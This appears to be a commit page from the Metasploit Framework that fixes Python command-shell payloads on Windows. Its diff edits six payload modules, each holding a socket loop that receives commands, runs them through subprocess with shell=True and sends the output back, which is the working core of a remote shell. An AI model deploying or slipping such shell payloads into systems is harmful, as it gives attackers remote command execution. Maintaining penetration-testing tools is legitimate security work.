Land #18040, Fix Python's payload issue with Windows
This commit is contained in:
commit
c08f1971cc
|
@ -61,7 +61,7 @@ module MetasploitModule
|
|||
cmd += "while not #{dead}:\n"
|
||||
cmd += "\tdata=s.recv(1024)\n"
|
||||
cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"
|
||||
cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
|
||||
cmd += "\tproc=subprocess.Popen(data.decode('utf-8'),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
|
||||
cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
|
||||
cmd += "\ts.send(stdout_value)\n"
|
||||
"#{datastore['PythonPath']} -c \"#{ py_create_exec_stub(cmd) }\""
|
||||
|
|
|
@ -42,7 +42,7 @@ module MetasploitModule
|
|||
d=so.recv(1024)
|
||||
if len(d)==0:
|
||||
break
|
||||
p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
|
||||
p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
|
||||
o=p.stdout.read()+p.stderr.read()
|
||||
so.send(o)
|
||||
PYTHON
|
||||
|
|
|
@ -51,7 +51,7 @@ module MetasploitModule
|
|||
d=so.recv(1024)
|
||||
if len(d)==0:
|
||||
break
|
||||
p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
|
||||
p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
|
||||
o=p.stdout.read()+p.stderr.read()
|
||||
try:
|
||||
so.send(o)
|
||||
|
|
|
@ -51,7 +51,7 @@ module MetasploitModule
|
|||
d=so.recv(1024)
|
||||
if len(d)==0:
|
||||
break
|
||||
p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
|
||||
p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
|
||||
o=p.stdout.read()+p.stderr.read()
|
||||
so.send(o)
|
||||
PYTHON
|
||||
|
|
|
@ -53,7 +53,7 @@ module MetasploitModule
|
|||
d=so.recv(1024)
|
||||
if len(d)==0:
|
||||
break
|
||||
p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
|
||||
p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
|
||||
o=p.stdout.read()+p.stderr.read()
|
||||
so.sendall(o)
|
||||
PYTHON
|
||||
|
|
|
@ -52,7 +52,7 @@ module MetasploitModule
|
|||
d=so.recv(1024)
|
||||
if len(d)==0:
|
||||
break
|
||||
p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
|
||||
p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
|
||||
o=p.stdout.read()+p.stderr.read()
|
||||
PYTHON
|
||||
|
||||
|
|
Loading…
Reference in New Issue